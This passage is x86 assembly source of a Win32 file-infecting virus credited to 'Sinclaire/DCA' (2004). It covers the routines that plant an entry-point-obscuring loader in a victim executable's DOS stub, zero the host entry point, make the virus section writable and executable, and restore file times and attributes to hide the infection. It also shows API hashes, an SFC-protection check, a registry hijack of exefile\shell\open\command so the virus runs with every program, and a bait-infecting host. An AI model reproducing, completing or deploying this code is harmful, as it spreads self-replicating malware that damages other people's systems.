;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
IF_InsertLoader:
|
|||
|
xor eax, eax
|
|||
|
mov edi, [ebp + FileView] ; Start of file
|
|||
|
mov [edi.MZ_ip], ax ; Clear DOS entry point
|
|||
|
mov [edi.MZ_lfarlc], ax ; Clear DOS relocations
|
|||
|
|
|||
|
add edi, 2 ; Skip 'MZ' signature
|
|||
|
mov al, OPCODE_JMP_SHORT ; Setup a JMP SHORT <DISP>
|
|||
|
stosb ; Insert JMP SHORT opcode
|
|||
|
mov eax, size IMAGE_DOS_HEADER ; Calc destination: after MZ header
|
|||
|
add eax, 2 ; skipping first 2 bytes of code
|
|||
|
sub al, 4 ; but relative to next EIP!
|
|||
|
stosb ; Insert displacement byte
|
|||
|
|
|||
|
mov eax, [ebp + File_ImageBase] ; Calculate virus entry point:
|
|||
|
add eax, [ebp + File_SectionRVA] ; image base + virus section RVA
|
|||
|
|
|||
|
lea edx, [ebp + EntryPoint] ; Save virus entry point into our
|
|||
|
mov [edx], eax ; loader code
|
|||
|
|
|||
|
mov edi, [ebp + FileView] ; Start of file
|
|||
|
add edi, size IMAGE_DOS_HEADER ; Go beyond MZ header
|
|||
|
lea esi, [ebp + EPOLoader] ; Address of our loader code
|
|||
|
mov ecx, SIZE_EPO_LOADER ; Size of code
|
|||
|
rep movsb ; Store it!
|
|||
|
|
|||
|
; Update headers
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
IF_UpdateHeaders:
|
|||
|
mov edi, [ebp + FileView]
|
|||
|
add edi, [edi.MZ_lfanew]
|
|||
|
add edi, size IMAGE_FILE_HEADER
|
|||
|
xor eax, eax ; Clear entry point (reset to zero)
|
|||
|
mov [edi.OH_AddressOfEntryPoint], eax
|
|||
|
|
|||
|
mov esi, [ebp + File_SectionHeader]
|
|||
|
mov [esi.SH_Characteristics], IMAGE_SCN_CNT_CODE or \
|
|||
|
IMAGE_SCN_MEM_EXECUTE or \
|
|||
|
IMAGE_SCN_MEM_WRITE
|
|||
|
|
|||
|
mov [ebp + FileInfected], TRUE ; Infection complete
|
|||
|
|
|||
|
; Unmap the view
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
IF_CloseView:
|
|||
|
push [ebp + FileView]
|
|||
|
apicall UnmapViewOfFile
|
|||
|
|
|||
|
; Close the file mapping object
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
IF_CloseMapping:
|
|||
|
push [ebp + FileMapping]
|
|||
|
apicall CloseHandle
|
|||
|
|
|||
|
; Close the file handle, restore times
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
IF_CloseFile:
|
|||
|
IF DEBUG
|
|||
|
push [ebp + FileHandle]
|
|||
|
apicall CloseHandle
|
|||
|
ELSE
|
|||
|
lea edx, [ebp + FileTime_Written]
|
|||
|
push edx
|
|||
|
lea edx, [ebp + FileTime_Accessed]
|
|||
|
push edx
|
|||
|
lea edx, [ebp + FileTime_Created]
|
|||
|
push edx
|
|||
|
push [ebp + FileHandle]
|
|||
|
apicall SetFileTime
|
|||
|
|
|||
|
push [ebp + FileHandle]
|
|||
|
apicall CloseHandle
|
|||
|
ENDIF
|
|||
|
|
|||
|
; Restore the file attributes
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
IF_RestoreAttribs:
|
|||
|
push [ebp + FileAttribs]
|
|||
|
push [ebp + FileName]
|
|||
|
apicall SetFileAttributes
|
|||
|
|
|||
|
IF_Quit:
|
|||
|
popad
|
|||
|
|
|||
|
ret
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; EPO - stub program ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Description: ;
|
|||
|
; Code to replace victim's DOS stub by a crafted one ;) ;
|
|||
|
; ;
|
|||
|
; Input: ;
|
|||
|
; None ;
|
|||
|
; ;
|
|||
|
; Output: ;
|
|||
|
; None ;
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
EPOLoader:
|
|||
|
db 0EBh ; jmps ...
|
|||
|
db MSDOS_Code - WIN32_Code ; (relative displacement)
|
|||
|
|
|||
|
WIN32_Code:
|
|||
|
db 052h ; push edx
|
|||
|
db 045h ; inc ebp
|
|||
|
db 068h ; push ...
|
|||
|
|
|||
|
EntryPoint:
|
|||
|
dd 000000000h ;
|
|||
|
db 033h, 0C0h ; xor eax, eax
|
|||
|
db 064h, 0FFh, 030h ; push fs:[eax]
|
|||
|
db 064h, 089h, 020h ; mov fs:[eax], esp
|
|||
|
db 0F7h, 0F0h ; div eax
|
|||
|
|
|||
|
MSDOS_Code:
|
|||
|
db 0BAh ; mov dx ...
|
|||
|
dw MSDOS_String - EPOLoader ; (offset string)
|
|||
|
db 00Eh ; push cs
|
|||
|
db 01Fh ; pop ds
|
|||
|
db 0B4h, 009h ; mov ah, 09
|
|||
|
db 0CDh, 021h ; int 21
|
|||
|
db 0B8h, 001h, 04Ch ; mov ax, 04C01
|
|||
|
db 0CDh, 021h ; int 21
|
|||
|
|
|||
|
MSDOS_String:
|
|||
|
; db 'This program requires Microsoft Windows.'
|
|||
|
; db 'This program cannot be run in DOS mode.'
|
|||
|
; db 'This program must be run under Win32.'
|
|||
|
; Aargh! I need more space!
|
|||
|
; db 'This program needs Win32'
|
|||
|
db 'DCA OWNS YOU'
|
|||
|
db CRLF, '$', 0
|
|||
|
|
|||
|
EPOLoader_End:
|
|||
|
|
|||
|
SIZE_EPO_LOADER equ EPOLoader_End - EPOLoader
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Virus Data
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
Kernel32 dd 00h
|
|||
|
HostEntry dd 00h
|
|||
|
CRC32 dd 00h
|
|||
|
Key32 dd 00h
|
|||
|
Count dd 00h
|
|||
|
StartupInfo dd 00h
|
|||
|
ProcessInfo dd 00h
|
|||
|
CmdLine dd 00h
|
|||
|
CmdSpawn dd 00h
|
|||
|
CmdExefile dd 00h
|
|||
|
|
|||
|
RndSeed_1 dd 00h
|
|||
|
RndSeed_2 dd 00h
|
|||
|
RndSeed_3 dd 00h
|
|||
|
RndSeed_4 dd 00h
|
|||
|
RndSeed_5 dd 00h
|
|||
|
RndSeed_6 dd 00h
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Export table data
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
ET_MaxNames dd 00h
|
|||
|
ET_PtrNames dd 00h
|
|||
|
ET_PtrAddresses dd 00h
|
|||
|
ET_PtrOrdinals dd 00h
|
|||
|
ET_TmpAddress dd 00h
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Infection data
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
FileName dd 00h
|
|||
|
FileAttribs dd 00h
|
|||
|
FileSize dd 00h
|
|||
|
FileHandle dd 00h
|
|||
|
FileMapping dd 00h
|
|||
|
FileView dd 00h
|
|||
|
FileTime_Created dd 00h, 00h
|
|||
|
FileTime_Accessed dd 00h, 00h
|
|||
|
FileTime_Written dd 00h, 00h
|
|||
|
File_ImageBase dd 00h
|
|||
|
File_EntryPoint dd 00h
|
|||
|
File_Sections dd 00h
|
|||
|
File_SectionHeader dd 00h
|
|||
|
File_SectionSize dd 00h
|
|||
|
File_SectionRaw dd 00h
|
|||
|
File_SectionRVA dd 00h
|
|||
|
FileInfected dd 00h
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Kernel32 API CRC32 Names
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
Kernel_API_CRC32:
|
|||
|
_ExitProcess dd 040F57181h
|
|||
|
_CreateProcess dd 0267E0B05h
|
|||
|
_LoadLibrary dd 04134D1ADh
|
|||
|
_GetProcAddress dd 0FFC97C1Fh
|
|||
|
_GlobalAlloc dd 083A353C3h
|
|||
|
_GetModuleFileName dd 004DCF392h
|
|||
|
_GetStartupInfo dd 052CA6A8Dh
|
|||
|
_GetCommandLine dd 03921BF03h
|
|||
|
_GetWindowsDirectory dd 0FE248274h
|
|||
|
_CloseHandle dd 068624A9Dh
|
|||
|
_CreateFile dd 08C892DDFh
|
|||
|
_CreateFileMapping dd 096B2D96Ch
|
|||
|
_MapViewOfFile dd 0797B49ECh
|
|||
|
_UnmapViewOfFile dd 094524B42h
|
|||
|
_GetFileAttributes dd 0C633D3DEh
|
|||
|
_SetFileAttributes dd 03C19E536h
|
|||
|
_GetFileSize dd 0EF7D811Bh
|
|||
|
_GetFileTime dd 04434E8FEh
|
|||
|
_SetFileTime dd 04B2A3E7Dh
|
|||
|
_CopyFile dd 05BD05DB1h
|
|||
|
_GetTickCount dd 0613FD7BAh
|
|||
|
_GetSystemTime dd 075B7EBE8h
|
|||
|
_Sleep dd 00AC136BAh
|
|||
|
_lstrcat dd 0C7DE8BACh
|
|||
|
dd 00000000h
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Kernel32 API Addresses
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
Kernel_API_Addr:
|
|||
|
ExitProcess_ dd 0
|
|||
|
CreateProcess dd 0
|
|||
|
LoadLibrary dd 0
|
|||
|
GetProcAddress dd 0
|
|||
|
GlobalAlloc dd 0
|
|||
|
GetModuleFileName dd 0
|
|||
|
GetStartupInfo dd 0
|
|||
|
GetCommandLine dd 0
|
|||
|
GetWindowsDirectory dd 0
|
|||
|
CloseHandle dd 0
|
|||
|
CreateFile dd 0
|
|||
|
CreateFileMapping dd 0
|
|||
|
MapViewOfFile dd 0
|
|||
|
UnmapViewOfFile dd 0
|
|||
|
GetFileAttributes dd 0
|
|||
|
SetFileAttributes dd 0
|
|||
|
GetFileSize dd 0
|
|||
|
GetFileTime dd 0
|
|||
|
SetFileTime dd 0
|
|||
|
CopyFile dd 0
|
|||
|
GetTickCount dd 0
|
|||
|
GetSystemTime dd 0
|
|||
|
Sleep dd 0
|
|||
|
lstrcat dd 0
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; User32 API CRC32 Names
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
User_API_CRC32:
|
|||
|
_MessageBox dd 0D8556CF7h
|
|||
|
_wsprintf dd 0A10A30B6h
|
|||
|
dd 00000000h
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; User32 API Addresses
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
User_API_Addr:
|
|||
|
MessageBox dd 0
|
|||
|
wsprintf dd 0
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Advapi32 API CRC32 Names
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
Advapi_API_CRC32:
|
|||
|
_RegOpenKeyEx dd 0CD195699h
|
|||
|
_RegCloseKey dd 0841802AFh
|
|||
|
_RegSetValueEx dd 05B9EC9C6h
|
|||
|
_RegSetValue dd 0E78187CEh
|
|||
|
dd 00000000h
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Advapi32 API Addresses
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
Advapi_API_Addr:
|
|||
|
RegOpenKeyEx dd 0
|
|||
|
RegCloseKey dd 0
|
|||
|
RegSetValueEx dd 0
|
|||
|
RegSetValue dd 0
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Misc Stuff/Strings
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
Strings:
|
|||
|
szAuthour db 'Sinclaire/DCA', 0
|
|||
|
szVirusName db VIRUS_NAME, 0
|
|||
|
szVirusCredits db '[',VIRUS_NAME, '] ', VIRUS_VERSION, CRLF
|
|||
|
db '(C) 2004 by Sinclaire', CRLF, CRLF
|
|||
|
db 'As I walk, all my life drifts before me', CRLF
|
|||
|
db 'And though the end is near, Im not sorry', CRLF
|
|||
|
db 'Catch my soul, its willing to fly away', CRLF
|
|||
|
db 'Mark my words, believe my soul lives on', CRLF
|
|||
|
db 'Dont worry, now that I have gone', CRLF
|
|||
|
db 'Ive gone beyond to see the truth', CRLF
|
|||
|
db 'So when you know that your time is close at hand', CRLF
|
|||
|
db 'Maybe then you ll begin to understand', CRLF
|
|||
|
db 'Life down there is just a strange illusion', CRLF, CRLF
|
|||
|
db 'Dedicated to rrlf, BlueOwl, DiA, Philie and all the gang', CRLF, 0
|
|||
|
|
|||
|
szUser32 db 'USER32.DLL', 0
|
|||
|
szAdvapi32 db 'ADVAPI32.DLL', 0
|
|||
|
szSfc db 'SFC.DLL', 0
|
|||
|
szSfcProc db "SfcIsFileProtected", 0
|
|||
|
szRegKey db "exefile\shell\open\command", 0
|
|||
|
szRegValue db SPAWN_NAME, ' ', 1, '"%1" %*', 0
|
|||
|
szSpawnFile db '\', SPAWN_NAME, 0
|
|||
|
Padding dd ?
|
|||
|
ProcessInformation PROCESS_INFORMATION <>
|
|||
|
|
|||
|
VirusEnd:
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
; Fake Host Code
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
FakeHost:
|
|||
|
mov esi, offset szBait
|
|||
|
call InfectFile
|
|||
|
|
|||
|
sub esp, 1024
|
|||
|
mov esi, esp
|
|||
|
|
|||
|
push 2
|
|||
|
push VIRUS_SIZE
|
|||
|
push VIRUS_SIZE
|
|||
|
push offset szTemplate
|
|||
|
push esi
|
|||
|
call _wsprintfA
|
|||
|
|
|||
|
push 1040h
|
|||
|
push offset szTitle
|
|||
|
push esi
|
|||
|
push 0
|
|||
|
call MessageBoxA
|
|||
|
|
|||
|
add esp, 1024
|
|||
|
|
|||
|
FakeHost_Quit:
|
|||
|
push 0
|
|||
|
call ExitProcess
|
|||
|
|
|||
|
End VirusStart
|
|||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|||
|
|
|||
|
|